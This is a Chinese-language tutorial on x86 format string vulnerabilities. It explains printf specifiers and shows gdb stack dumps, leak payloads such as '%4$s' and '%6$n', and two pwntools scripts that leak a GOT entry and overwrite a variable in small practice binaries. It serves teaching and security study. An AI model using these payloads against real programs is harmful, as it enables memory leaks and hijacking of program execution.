格式化字符串漏洞

一、X86

二、格式化字符串漏洞原理

​ 格式化串漏洞和普通的栈溢出有相似之处,但是还是有所不用。都是利用程序中存在的漏洞劫持程序流程的。

a、什么是格式化字符串?

​ 像printf()、fprintf()等一系列的函数可以按照一定的格式将数据进行输出,举个例子:

1
printf("Hello %s","World");

​ 执行完这个函数会返回字符串:Hello World

​ 这个printf函数的第一个参数就是格式化字符串,它用来告诉程序将数据以什么格式输出。

​ printf()函数的一般形式为:printf(“format”,输出列表),关注点在format上,它的结构是:

%[ 标志 ] [ 输出最小宽度] [.精度] [长度] 类型,其中跟格式化字符串漏洞有关系的主要有下列几点:

1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多余定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补空格或0.

比如:

1
2
printf("%2d",123);     //结果为123
printf("%4d",123) //结果为 123 有一个空格

2、类型

1
2
3
4
5
6
%c:输出字符,配上%n可以向指定地址写数据
%d:输出十进制整数,配上%n可以向指定地址写数据
%x:输出16进制数据,如%i$x表示要泄露偏移i处4字节长的16进制数据,%i$lx表示要泄露偏移i处8字节长的16进制数据
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节
%s:输出的内容是字符串,将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串
%n:将%n之前printf已经打印的字符的个数赋值给偏移处指针所指向的地址位置,如%100x10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hnn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节

正常使用printf函数:

1
2
3
char str[100];
scanf("%s",str);
printf("%s",s);

带有漏洞的:

1
2
3
char str[100];
scanf("%s",str);
printf(s);

对比两段代码,第二个程序中的printf函数参数我们是可控的,在控制了format参数之后结合printf()函数特性就能构造相应的攻击。

printf函数的参数个数不固定

可以利用这一特性进行越界数据的访问。

先访问一个正常的程序

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void){
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d \n" ,buf,a,b,c);
return 0;
}

编译运行:

1
gcc -m32 -fno-stack-protector -o a a.c    32位程序

image-20230711160801344

接下来试试增加一个printf()的format参数,修改后编译运行:

1
2
3
4
5
6
7
8
9
10
root@zhuyuan-vm:/home/zhuyuan/pwn/format# gcc -fno-stack-protector -o a a.c
a.c: In function ‘main’:
a.c:5:30: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
5 | printf("%s %d %d %d %x \n" ,buf,a,b,c);
| ~^
| |
| unsigned int
root@zhuyuan-vm:/home/zhuyuan/pwn/format# ./a
test 1 2 3 0

GCC会报警告,但是还是能通过运行,这时候看比原来多输出了一个0,用gdb调试看看。

在printf函数处下断点,运行观察一下

image-20230711162229953

此时程序停在printf函数入口处0xf7c57a70

查看此时的栈布局:

1
2
3
4
5
pwndbg> x/10x $sp
0xffffd54c: 0x565561f7 0x56557008 0xffffd57f 0x00000001
0xffffd55c: 0x00000002 0x00000003 0x00000000 0xf7c184be
0xffffd56c: 0x565561b4 0xf7fbe4a0

可以看到确实在栈空间内存在0x00000000

1
2
3
4
5
6
7
pwndbg> x/20x $sp
0xffffd0dc: 0x565561f7 0x56557008 0xffffd10f 0x00000001
0xffffd0ec: 0x00000002 0x00000003 0x00000000 0xf7c184be
0xffffd0fc: 0x565561b4 0xf7fbe4a0 0xf7fd6f80 0xf7c184be
0xffffd10c: 0x74fbe4a0 0x00747365 0x00000003 0x00000002
0xffffd11c: 0x00000001 0xffffd140 0xf7e2a000 0xf7ffd020

image-20230711164827745

只要能够控制format参数,我们就可以一直读取内存数据。

再举个例子实验一下

修改程序,gdb调试

1
2
3
4
5
6
7
8
#include<stdio.h>
int main(int argc,char *argv[])
{
char str[200];
fgets(str,200,stdin);
printf(str);
return 0;
}

运行程序,输入AAAA%08x%08x%08x%08x%08x%08x

1
2
3
zhuyuan@zhuyuan-vm:~/pwn/format$ ./b
AAAA%08x%08x%08x%08x%08x%08x
AAAA000000c8f7e2a6205655b1c7f7c184bef7f2029441414141

输出的结果是AAAA%08x%08x%08x%08x%08x%08x

看一下执行printf函数时堆栈,观察0x41414141,这是str的开始

1
2
3
4
5
pwndbg> x/10x $sp
0xffffd03c: 0x565561fc 0xffffd058 0x000000c8 0xf7e2a620
0xffffd04c: 0x565561c7 0xf7c184be 0xf7fd0294 0x41414141
0xffffd05c: 0x78383025 0x78383025

继续执行,看看输出结果是什么,成功读到了AAAA

1
AAAA000000c8f7e2a620565561c7f7c184bef7fd029441414141

如果想获取指针指向的内存数据,那么我们可以尝试加上%s

利用%n格式符写入数据

%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址,看下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>

int main()
{
int num=66666666;
printf("Before: num = %d\n",num);
printf("%d%n\n",num,&num);
printf("After: num = %d\n",num);

return 0;
}
~

编译运行:

image-20230711173525538

现在我们明白了如何利用%n向内存中写入值,所以我们可以修改某一个函数的返回地址从而劫持程序执行流程,但是返回地址需要的是一个地址,但是%n只能修改值,直接修改不太现实,所以还需要利用一个特性。

自定义打印字符串宽度

回顾前文讲过的,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。

实验一下,修改上文代码:

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>

int main()
{
int num=66666666;
printf("Before: num = %d\n",num);
printf("%.100d%n\n",num,&num);
printf("After: num = %d\n",num);

return 0;
}
~

image-20230711174321104

num果然被修改了,那么这样如果我们想修改为一个地址,只要把16进制的地址转化为10进制数作为格式化符控制宽度就可以了。

举个例子:

修改num的值为0x8048000

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>

int main()
{
int num=66666666;
printf("Before: num = %d\n",num);
printf("%.134512640d%n\n",num,&num);
printf("After: num = %p\n",num);

return 0;
}

image-20230711175117805

三、格式化字符串漏洞利用

当printf函数没有参数时,比如printf(“%s %d %f”),程序会照样运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为:

  • 解析其地址对应的字符串
  • 解析其内容对应的整形值
  • 解析其内容对应的浮点值

对于第一种情况,如果里面的地址为不可访问地址,比如0,那么程序就会崩溃,所以即使prrintf函数没有给出参数,也会按照格式化字符串给出的格式打印出接下来三处地址中内容。

1
2
3
4
5
%d:十进制,输出十进制整数
%s:字符串,从内存中读取字符串
%x:十六进制,输出十六进制数
%c:字符串,输出字符串
%n:到目前为止的打印出的字符数
程序崩溃

拿到程序之后可以通过输入若干个%S来进行判断是否存在格式化字符串漏洞

1
%s%S%S%S%S%S%S%S%S%S%S%S%S%S

如果存在格式化字符串漏洞,在输入一长串%s之后,printf会将%s作为格式化字符串,将对应地址中的内容以字符串的形式输出出来。但是栈上不可能每个值都对应了合法地址,所以数字对应的内容可能不存在,这个时候就会使程序崩溃。

在linux中,存取无效的指针会引起进程受到SIGSEGV信号,从而使程序非正常终止并产生核心转储。(程序运行过程中出现异常崩溃终止时的内存,寄存器状态,堆栈指针,内存管理信息等记录下来保存的文件)

泄露栈内存

实验

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
int main()
{
char s[100];
int a=1,b=0x22222222,c=-1;
scanf("%s",s);
printf("%08x.%08x.%08x.%s\n",a,b,c,s);
printf(s);
return 0;

}
~

运行程序,在printf函数入口处下断点,查看此时栈中内存

image-20230711192202268

继续运行查看程序输出是否于箭头猜想一致

image-20230711192256339

输出结果于猜想一致,继续运行到第二处printf函数查看一下栈内存:

image-20230711194825823

跟输出结果一致。用%p的效果跟%x差不多,就是多了0x

由于栈上的数据会因为每次分配的内存页不同,所以并不是每次得到的结果都一样。如果我们想输出一个特定位置的内容,就需要修改一下

1
%n$x

举个例子

输入%3$x时,第一处printf运行后的结果。

image-20230711195709031

image-20230711195633898

第二次printf后的结果,输出的是偏移为3的参数

获取栈变量对应字符串

把格式化字符串的%x改为%s,因为%s会以字符串的形式输出栈地址的内容。

利用%x或%p获取对应栈的内存。

利用%s获取变量所对应的地址的内容,但是有0截断

利用%n$x获取指定参数的值,利用%n$获取指定参数对应地址的内容。

泄露任意地址内存

有的时候需要泄露got表地址,从而获取到Libc版本以及其它函数地址。所以完全控制泄露某个指定地址的内存就很重要。

调用输出函数时,第一个参数的值就是该格式化字符串的地址。

由于我们可以控制格式化字符串,如果我们知道格式化字符串在输出函数调用是是第几个参数,那么我们就可以用%n$s泄露这个参数地址的内容。

1
2
3
1、先确定格式化字符串为第几个参数
[tag]%p%p%p%p%p%p%p%p%p%p%p%p%p%p
[tag]为重复某个字符的字节长来作为tag,比如aaaa,bbbb等。后面的%p会依此遍历以地址的形式打印处函数参数

image-20230711202000323

可以看出AAAA是作为第四个参数被打印的,所以我们可以将AAAA替换为got表地址,再把%p换为%s,再指定获取真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*

sh = process('./d')

elf = ELF('./d')

scanf_got = elf.got['__isoc99_scanf']
print(hex(scanf_got))

payload = p32(scanf_got)+b'%4$s'

sh.sendline(payload)
sh.recvuntil(b'%4$s')
print(hex(u32(sh.recv()[4:8])))

覆盖内存

想修改栈上变量的值,需要%n。

用法:

1
2
3
4
...[overwrite addr]...%[overwrite offest]$n
...是填充内容
overwrite addr 表示要修改的地址
overwrite offest 表示为输出函数的格式化字符串的第几个参数

步骤:

  • 确定覆盖地址
  • 确定相对位移(找格式化字符串的第几个参数)
  • 进行覆盖

实验:

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<stdio.h>
int a = 123,b = 456;

int main()
{
int c = 789;
char s[100];
printf("%p\n",&c);
scanf("%s",s);
printf(s);
if(c == 16)
{
puts("modified c.");
}
else if(a == 2)
{
puts("modified a for a small number.");
}
else if(b == 0x12345678)
{
puts("modified b for a big number!");
}
return 0;
}

image-20230711210009820

通过结果可以得到变量c在格式化字符串的第6个参数,根据步骤构造payload

1
c_addr + %12d + %6$n

第一个c_addr是由程序自己打印的c_addr,我们就是要修改这处地址的内容,%12d是为了和不全16个字节,因为%n就是覆盖已经打印的字符个数,所以要想更改为16,必须要先打印16个字符,最后的%6$n是为了向第6个参数内写入16.

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*

sh = process('./e')

c_addr = int(sh.recvuntil(b'\n',drop=True),16) #接收C变量地址

print(hex(c_addr))

payload = p32(c_addr)+b'%12d'+b'%6$n'

sh.sendline(payload)

print(sh.recv())

~

image-20230711211255360

成功覆盖了C变量的值

以上内容大致就是X86下的格式化字符串漏洞的基本原理及其利用,X64跟X86有略微的差别,但是思路还是一致的。